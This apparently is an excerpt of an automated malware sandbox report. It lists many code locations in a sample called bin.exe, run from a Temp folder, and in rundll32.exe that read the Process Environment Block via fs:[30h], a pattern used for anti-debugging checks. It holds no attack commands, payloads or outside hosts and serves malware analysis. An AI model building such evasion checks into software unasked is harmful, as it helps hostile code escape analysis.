Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD03E2 mov eax, dword ptr fs:[00000030h]	3_2_00DD03E2
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E75BA5 mov eax, dword ptr fs:[00000030h]	3_2_00E75BA5
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD2397 mov eax, dword ptr fs:[00000030h]	3_2_00DD2397
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DDB390 mov eax, dword ptr fs:[00000030h]	3_2_00DDB390
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DB1B8F mov eax, dword ptr fs:[00000030h]	3_2_00DB1B8F
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DB1B8F mov eax, dword ptr fs:[00000030h]	3_2_00DB1B8F
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E5D380 mov ecx, dword ptr fs:[00000030h]	3_2_00E5D380
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E6138A mov eax, dword ptr fs:[00000030h]	3_2_00E6138A
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD4BAD mov eax, dword ptr fs:[00000030h]	3_2_00DD4BAD
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD4BAD mov eax, dword ptr fs:[00000030h]	3_2_00DD4BAD
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD4BAD mov eax, dword ptr fs:[00000030h]	3_2_00DD4BAD
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DAF358 mov eax, dword ptr fs:[00000030h]	3_2_00DAF358
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DADB40 mov eax, dword ptr fs:[00000030h]	3_2_00DADB40
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD3B7A mov eax, dword ptr fs:[00000030h]	3_2_00DD3B7A
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DD3B7A mov eax, dword ptr fs:[00000030h]	3_2_00DD3B7A
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DADB60 mov ecx, dword ptr fs:[00000030h]	3_2_00DADB60
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E78B58 mov eax, dword ptr fs:[00000030h]	3_2_00E78B58
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E6131B mov eax, dword ptr fs:[00000030h]	3_2_00E6131B
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E26CF0 mov eax, dword ptr fs:[00000030h]	3_2_00E26CF0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E26CF0 mov eax, dword ptr fs:[00000030h]	3_2_00E26CF0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E26CF0 mov eax, dword ptr fs:[00000030h]	3_2_00E26CF0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E614FB mov eax, dword ptr fs:[00000030h]	3_2_00E614FB
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E78CD6 mov eax, dword ptr fs:[00000030h]	3_2_00E78CD6
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DB849B mov eax, dword ptr fs:[00000030h]	3_2_00DB849B
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DDA44B mov eax, dword ptr fs:[00000030h]	3_2_00DDA44B
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DC746D mov eax, dword ptr fs:[00000030h]	3_2_00DC746D
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E3C450 mov eax, dword ptr fs:[00000030h]	3_2_00E3C450
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E3C450 mov eax, dword ptr fs:[00000030h]	3_2_00E3C450
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E61C06 mov eax, dword ptr fs:[00000030h]	3_2_00E61C06
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E61C06 mov eax, dword ptr fs:[00000030h]	3_2_00E61C06
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E61C06 mov eax, dword ptr fs:[00000030h]	3_2_00E61C06
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E61C06 mov eax, dword ptr fs:[00000030h]	3_2_00E61C06
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E61C06 mov eax, dword ptr fs:[00000030h]	3_2_00E61C06
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E61C06 mov eax, dword ptr fs:[00000030h]	3_2_00E61C06
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E61C06 mov eax, dword ptr fs:[00000030h]	3_2_00E61C06
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E61C06 mov eax, dword ptr fs:[00000030h]	3_2_00E61C06
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E61C06 mov eax, dword ptr fs:[00000030h]	3_2_00E61C06
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E61C06 mov eax, dword ptr fs:[00000030h]	3_2_00E61C06
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E61C06 mov eax, dword ptr fs:[00000030h]	3_2_00E61C06
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E61C06 mov eax, dword ptr fs:[00000030h]	3_2_00E61C06
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E61C06 mov eax, dword ptr fs:[00000030h]	3_2_00E61C06
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E61C06 mov eax, dword ptr fs:[00000030h]	3_2_00E61C06
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E26C0A mov eax, dword ptr fs:[00000030h]	3_2_00E26C0A
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E26C0A mov eax, dword ptr fs:[00000030h]	3_2_00E26C0A
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E26C0A mov eax, dword ptr fs:[00000030h]	3_2_00E26C0A
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E26C0A mov eax, dword ptr fs:[00000030h]	3_2_00E26C0A
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E7740D mov eax, dword ptr fs:[00000030h]	3_2_00E7740D
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E7740D mov eax, dword ptr fs:[00000030h]	3_2_00E7740D
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E7740D mov eax, dword ptr fs:[00000030h]	3_2_00E7740D
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DDBC2C mov eax, dword ptr fs:[00000030h]	3_2_00DDBC2C
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E6FDE2 mov eax, dword ptr fs:[00000030h]	3_2_00E6FDE2
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E6FDE2 mov eax, dword ptr fs:[00000030h]	3_2_00E6FDE2
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E6FDE2 mov eax, dword ptr fs:[00000030h]	3_2_00E6FDE2
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E6FDE2 mov eax, dword ptr fs:[00000030h]	3_2_00E6FDE2
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E58DF1 mov eax, dword ptr fs:[00000030h]	3_2_00E58DF1
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E26DC9 mov eax, dword ptr fs:[00000030h]	3_2_00E26DC9
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E26DC9 mov eax, dword ptr fs:[00000030h]	3_2_00E26DC9
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E26DC9 mov eax, dword ptr fs:[00000030h]	3_2_00E26DC9
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E26DC9 mov ecx, dword ptr fs:[00000030h]	3_2_00E26DC9
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E26DC9 mov eax, dword ptr fs:[00000030h]	3_2_00E26DC9
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00E26DC9 mov eax, dword ptr fs:[00000030h]	3_2_00E26DC9
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DBD5E0 mov eax, dword ptr fs:[00000030h]	3_2_00DBD5E0
Source: C:\Users\user\AppData\Local\Temp\bin.exe	Code function: 3_2_00DBD5E0 mov eax, dword ptr fs:[00000030h]	3_2_00DBD5E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0438BC2C mov eax, dword ptr fs:[00000030h]	13_2_0438BC2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0438002D mov eax, dword ptr fs:[00000030h]	13_2_0438002D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0438002D mov eax, dword ptr fs:[00000030h]	13_2_0438002D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0438002D mov eax, dword ptr fs:[00000030h]	13_2_0438002D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0438002D mov eax, dword ptr fs:[00000030h]	13_2_0438002D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0438002D mov eax, dword ptr fs:[00000030h]	13_2_0438002D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0436B02A mov eax, dword ptr fs:[00000030h]	13_2_0436B02A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0436B02A mov eax, dword ptr fs:[00000030h]	13_2_0436B02A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0436B02A mov eax, dword ptr fs:[00000030h]	13_2_0436B02A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0436B02A mov eax, dword ptr fs:[00000030h]	13_2_0436B02A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D7016 mov eax, dword ptr fs:[00000030h]	13_2_043D7016
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D7016 mov eax, dword ptr fs:[00000030h]	13_2_043D7016
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D7016 mov eax, dword ptr fs:[00000030h]	13_2_043D7016
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04412073 mov eax, dword ptr fs:[00000030h]	13_2_04412073
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04421074 mov eax, dword ptr fs:[00000030h]	13_2_04421074
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D6C0A mov eax, dword ptr fs:[00000030h]	13_2_043D6C0A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D6C0A mov eax, dword ptr fs:[00000030h]	13_2_043D6C0A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D6C0A mov eax, dword ptr fs:[00000030h]	13_2_043D6C0A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D6C0A mov eax, dword ptr fs:[00000030h]	13_2_043D6C0A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04411C06 mov eax, dword ptr fs:[00000030h]	13_2_04411C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04411C06 mov eax, dword ptr fs:[00000030h]	13_2_04411C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04411C06 mov eax, dword ptr fs:[00000030h]	13_2_04411C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04411C06 mov eax, dword ptr fs:[00000030h]	13_2_04411C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04411C06 mov eax, dword ptr fs:[00000030h]	13_2_04411C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04411C06 mov eax, dword ptr fs:[00000030h]	13_2_04411C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04411C06 mov eax, dword ptr fs:[00000030h]	13_2_04411C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04411C06 mov eax, dword ptr fs:[00000030h]	13_2_04411C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04411C06 mov eax, dword ptr fs:[00000030h]	13_2_04411C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04411C06 mov eax, dword ptr fs:[00000030h]	13_2_04411C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04411C06 mov eax, dword ptr fs:[00000030h]	13_2_04411C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04411C06 mov eax, dword ptr fs:[00000030h]	13_2_04411C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04411C06 mov eax, dword ptr fs:[00000030h]	13_2_04411C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04411C06 mov eax, dword ptr fs:[00000030h]	13_2_04411C06
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0442740D mov eax, dword ptr fs:[00000030h]	13_2_0442740D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0442740D mov eax, dword ptr fs:[00000030h]	13_2_0442740D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0442740D mov eax, dword ptr fs:[00000030h]	13_2_0442740D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04424015 mov eax, dword ptr fs:[00000030h]	13_2_04424015
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04424015 mov eax, dword ptr fs:[00000030h]	13_2_04424015
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0437746D mov eax, dword ptr fs:[00000030h]	13_2_0437746D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04370050 mov eax, dword ptr fs:[00000030h]	13_2_04370050
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04370050 mov eax, dword ptr fs:[00000030h]	13_2_04370050
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043EC450 mov eax, dword ptr fs:[00000030h]	13_2_043EC450
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043EC450 mov eax, dword ptr fs:[00000030h]	13_2_043EC450
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0438A44B mov eax, dword ptr fs:[00000030h]	13_2_0438A44B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0438F0BF mov ecx, dword ptr fs:[00000030h]	13_2_0438F0BF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0438F0BF mov eax, dword ptr fs:[00000030h]	13_2_0438F0BF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0438F0BF mov eax, dword ptr fs:[00000030h]	13_2_0438F0BF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04428CD6 mov eax, dword ptr fs:[00000030h]	13_2_04428CD6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043990AF mov eax, dword ptr fs:[00000030h]	13_2_043990AF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043820A0 mov eax, dword ptr fs:[00000030h]	13_2_043820A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043820A0 mov eax, dword ptr fs:[00000030h]	13_2_043820A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043820A0 mov eax, dword ptr fs:[00000030h]	13_2_043820A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043820A0 mov eax, dword ptr fs:[00000030h]	13_2_043820A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043820A0 mov eax, dword ptr fs:[00000030h]	13_2_043820A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043820A0 mov eax, dword ptr fs:[00000030h]	13_2_043820A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0436849B mov eax, dword ptr fs:[00000030h]	13_2_0436849B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04359080 mov eax, dword ptr fs:[00000030h]	13_2_04359080
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D3884 mov eax, dword ptr fs:[00000030h]	13_2_043D3884
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D3884 mov eax, dword ptr fs:[00000030h]	13_2_043D3884
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_044114FB mov eax, dword ptr fs:[00000030h]	13_2_044114FB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D6CF0 mov eax, dword ptr fs:[00000030h]	13_2_043D6CF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D6CF0 mov eax, dword ptr fs:[00000030h]	13_2_043D6CF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D6CF0 mov eax, dword ptr fs:[00000030h]	13_2_043D6CF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043558EC mov eax, dword ptr fs:[00000030h]	13_2_043558EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043EB8D0 mov eax, dword ptr fs:[00000030h]	13_2_043EB8D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043EB8D0 mov ecx, dword ptr fs:[00000030h]	13_2_043EB8D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043EB8D0 mov eax, dword ptr fs:[00000030h]	13_2_043EB8D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043EB8D0 mov eax, dword ptr fs:[00000030h]	13_2_043EB8D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043EB8D0 mov eax, dword ptr fs:[00000030h]	13_2_043EB8D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043EB8D0 mov eax, dword ptr fs:[00000030h]	13_2_043EB8D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0438513A mov eax, dword ptr fs:[00000030h]	13_2_0438513A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0438513A mov eax, dword ptr fs:[00000030h]	13_2_0438513A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04363D34 mov eax, dword ptr fs:[00000030h]	13_2_04363D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04363D34 mov eax, dword ptr fs:[00000030h]	13_2_04363D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04363D34 mov eax, dword ptr fs:[00000030h]	13_2_04363D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04363D34 mov eax, dword ptr fs:[00000030h]	13_2_04363D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04363D34 mov eax, dword ptr fs:[00000030h]	13_2_04363D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04363D34 mov eax, dword ptr fs:[00000030h]	13_2_04363D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04363D34 mov eax, dword ptr fs:[00000030h]	13_2_04363D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04363D34 mov eax, dword ptr fs:[00000030h]	13_2_04363D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04363D34 mov eax, dword ptr fs:[00000030h]	13_2_04363D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04363D34 mov eax, dword ptr fs:[00000030h]	13_2_04363D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04363D34 mov eax, dword ptr fs:[00000030h]	13_2_04363D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04363D34 mov eax, dword ptr fs:[00000030h]	13_2_04363D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04363D34 mov eax, dword ptr fs:[00000030h]	13_2_04363D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04384D3B mov eax, dword ptr fs:[00000030h]	13_2_04384D3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04384D3B mov eax, dword ptr fs:[00000030h]	13_2_04384D3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04384D3B mov eax, dword ptr fs:[00000030h]	13_2_04384D3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0435AD30 mov eax, dword ptr fs:[00000030h]	13_2_0435AD30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043DA537 mov eax, dword ptr fs:[00000030h]	13_2_043DA537
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04374120 mov eax, dword ptr fs:[00000030h]	13_2_04374120
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04374120 mov eax, dword ptr fs:[00000030h]	13_2_04374120
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04374120 mov eax, dword ptr fs:[00000030h]	13_2_04374120
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04374120 mov eax, dword ptr fs:[00000030h]	13_2_04374120
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04374120 mov ecx, dword ptr fs:[00000030h]	13_2_04374120
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04359100 mov eax, dword ptr fs:[00000030h]	13_2_04359100
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04359100 mov eax, dword ptr fs:[00000030h]	13_2_04359100
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04359100 mov eax, dword ptr fs:[00000030h]	13_2_04359100
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0437C577 mov eax, dword ptr fs:[00000030h]	13_2_0437C577
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0437C577 mov eax, dword ptr fs:[00000030h]	13_2_0437C577
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0435B171 mov eax, dword ptr fs:[00000030h]	13_2_0435B171
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0435B171 mov eax, dword ptr fs:[00000030h]	13_2_0435B171
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0435C962 mov eax, dword ptr fs:[00000030h]	13_2_0435C962
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04377D50 mov eax, dword ptr fs:[00000030h]	13_2_04377D50
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0437B944 mov eax, dword ptr fs:[00000030h]	13_2_0437B944
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0437B944 mov eax, dword ptr fs:[00000030h]	13_2_0437B944
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04428D34 mov eax, dword ptr fs:[00000030h]	13_2_04428D34
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04393D43 mov eax, dword ptr fs:[00000030h]	13_2_04393D43
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D3540 mov eax, dword ptr fs:[00000030h]	13_2_043D3540
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D51BE mov eax, dword ptr fs:[00000030h]	13_2_043D51BE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D51BE mov eax, dword ptr fs:[00000030h]	13_2_043D51BE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D51BE mov eax, dword ptr fs:[00000030h]	13_2_043D51BE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D51BE mov eax, dword ptr fs:[00000030h]	13_2_043D51BE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04381DB5 mov eax, dword ptr fs:[00000030h]	13_2_04381DB5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04381DB5 mov eax, dword ptr fs:[00000030h]	13_2_04381DB5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04381DB5 mov eax, dword ptr fs:[00000030h]	13_2_04381DB5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043861A0 mov eax, dword ptr fs:[00000030h]	13_2_043861A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043861A0 mov eax, dword ptr fs:[00000030h]	13_2_043861A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043835A1 mov eax, dword ptr fs:[00000030h]	13_2_043835A1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D69A6 mov eax, dword ptr fs:[00000030h]	13_2_043D69A6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0438FD9B mov eax, dword ptr fs:[00000030h]	13_2_0438FD9B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0438FD9B mov eax, dword ptr fs:[00000030h]	13_2_0438FD9B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0441FDE2 mov eax, dword ptr fs:[00000030h]	13_2_0441FDE2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0441FDE2 mov eax, dword ptr fs:[00000030h]	13_2_0441FDE2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0441FDE2 mov eax, dword ptr fs:[00000030h]	13_2_0441FDE2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0441FDE2 mov eax, dword ptr fs:[00000030h]	13_2_0441FDE2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04382990 mov eax, dword ptr fs:[00000030h]	13_2_04382990
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04408DF1 mov eax, dword ptr fs:[00000030h]	13_2_04408DF1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0437C182 mov eax, dword ptr fs:[00000030h]	13_2_0437C182
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04382581 mov eax, dword ptr fs:[00000030h]	13_2_04382581
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04382581 mov eax, dword ptr fs:[00000030h]	13_2_04382581
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04382581 mov eax, dword ptr fs:[00000030h]	13_2_04382581
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04382581 mov eax, dword ptr fs:[00000030h]	13_2_04382581
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0438A185 mov eax, dword ptr fs:[00000030h]	13_2_0438A185
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04352D8A mov eax, dword ptr fs:[00000030h]	13_2_04352D8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04352D8A mov eax, dword ptr fs:[00000030h]	13_2_04352D8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04352D8A mov eax, dword ptr fs:[00000030h]	13_2_04352D8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04352D8A mov eax, dword ptr fs:[00000030h]	13_2_04352D8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_04352D8A mov eax, dword ptr fs:[00000030h]	13_2_04352D8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0435B1E1 mov eax, dword ptr fs:[00000030h]	13_2_0435B1E1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0435B1E1 mov eax, dword ptr fs:[00000030h]	13_2_0435B1E1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0435B1E1 mov eax, dword ptr fs:[00000030h]	13_2_0435B1E1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043E41E8 mov eax, dword ptr fs:[00000030h]	13_2_043E41E8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0436D5E0 mov eax, dword ptr fs:[00000030h]	13_2_0436D5E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_0436D5E0 mov eax, dword ptr fs:[00000030h]	13_2_0436D5E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_044205AC mov eax, dword ptr fs:[00000030h]	13_2_044205AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_044205AC mov eax, dword ptr fs:[00000030h]	13_2_044205AC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D6DC9 mov eax, dword ptr fs:[00000030h]	13_2_043D6DC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D6DC9 mov eax, dword ptr fs:[00000030h]	13_2_043D6DC9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_043D6DC9 mov eax, dword ptr fs:[00000030h]	13_2_043D6DC9
